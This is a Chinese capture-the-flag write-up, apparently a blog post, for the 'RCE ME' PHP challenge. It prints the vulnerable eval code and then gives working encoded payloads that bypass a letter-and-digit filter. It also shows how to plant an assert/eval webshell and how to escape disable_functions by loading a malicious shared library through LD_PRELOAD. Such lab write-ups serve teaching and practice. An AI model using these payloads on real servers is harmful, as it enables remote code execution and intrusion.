[极客大挑战 2019]RCE ME

简单的代码审计,广泛的绕过姿势~

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

方法参考(9条消息) 浅谈PHP代码执行中出现过滤限制的绕过执行方法_末初 · mochu7-CSDN博客_php绕过正则

可以看到需要传入一个code,长度需要小于等于40,且里面过滤了所有字母和数字,最后可以eval传入的内容。看到这里有两种思路,就是绕过正则后构造各种函数,根据目录不断找出flag位置,或者直接传一句话木马进去,然后用蚁剑连接在里面找flag。但是构造函数又存在可能某些函数会被过滤,于是先看看过滤了那些,传一个phpinfo()进去。

网上一个异或的方法:

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//${_GET}{%ff}();&%ff=phpinfo

可以看到过滤了很多函数 ,主要system和exec被过滤了,所以想到了传个马上去。

因为取反这种方法比较好理解,所以这道题我用的取反解的,大概原理就是你把需要传进去的代码先取反再编码后,得到的东西取反传进服务端后会先自动解码一次,判断的时候相当于是取反后的字符,这个表可以看见

 取反后的二进制数字会大很多,ascil码中是没有相应的字符的,自然可以绕过正则过滤的全部字母和数字,最后到eval那里取反回到正常的代码。(最开始没注意加~,发现url编码后还是phpinfo,后面反应过来数字和字母已经是合法可以传输的字符了,所以url不对他们进行编码)构造payload:/?code=(~%8F%97%8F%96%91%99%90)();

注意eval里面的代码最后要加;       因为eval函数把参数当做php代码来执行,参数后要有分号

<?php
echo urlencode(~'phpinfo');
?>

//%8F%97%8F%96%91%99%90

效果是一样的

 确定了方法后,开始种马。

这里要注意

开始我想的是直接传一个$_POST[s]的取反进去,加上代码最后的eval,这不就是一个木马吗,试了半天一直不行,后面发现是eval只能解析一次,意思是题目中是@eval($code),当你传入$code的时候,eval会进行变量的替换,相当于已经解析了一次,自己再以post传进去的s不能被解析,就没什么用了。

然后我还想试一试传eval($_POST[s]),也是不行的,因为eval不是可变函数,不能当作字符串交给php让他当作函数名,比如

传进去的payload为/?code=(~%9A%89%9E%93)(~%D7%DB%A0%AF%B0%AC%AB%A4%8C%A2%D6); 也就是eval($_POST[s]),之所以要用两个括号,而不是一次性取反传入一个括号的东西是因为你传入的是一个函数,eval运行的时候会根据函数名先检测是否存在这个函数,而第一个括号的内容也就是函数名,第二个括号的内容应该是传入的函数内应该传的参数。所以它会先检测有没有eval这个函数,然后继续进行,但是eval又不能做可变函数,所以这样也是错误的。

那assert($_POST[s])为啥也不行呢,网上找了个说法

 所以最后传入的只能是

<?php

echo urlencode(~'assert');
echo "</br >";


echo urlencode(~'(eval($_POST[s]))');

?>



//%9E%8C%8C%9A%8D%8B</br >%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%A2%D6%D6

payload:?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%A2%D6%D6);

可以看到执行成功了

于是连接蚁剑看看

连接成功了

 可以看到有个flag和readflag,flag打开没东西,readflag打开乱码 ,原因是我们之前查找phpinfo的时候,看到disable_functions 禁用了太多函数,这个shell基本是废的,所以我们需要绕开disable_functions去执行命令。

预期解:原理参照https://www.anquanke.com/post/id/175403      EXP地址

利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE

/tmp//var/tmp/均存在上传权限,随便一个上传恶意so和php脚本就可以

  • 目标payload
?code=${_GET}[_](${_GET}[_]);&_=assert&__=include(%27/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/tmp/bypass_disablefunc_x64.so
  • 取反方法
?code=${~%A0%B8%BA%AB}[_](${~%A0%B8%BA%AB}[__]);&_=assert&__=include(%27/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/tmp/bypass_disablefunc_x64.so
  • 异或方法
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/tmp/bypass_disablefunc_x64.so

 得到flag

非预期解:

可以用某跳墙看代理的服务器和端口,然后蚁剑设置好代理

 

在应用市场里面下载后加载插件,然后选择好模式

打开/readflag可以看到 

开头为ELF开头的文件,而ELF头是ELF文件的标识,是一个开放的可执行文件和链接文件格式。也可以根据flag打开是空的,readflag想到可能是个需要执行的文件,因为打开也全是乱码。于是执行 

 

也可以得到flag。 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值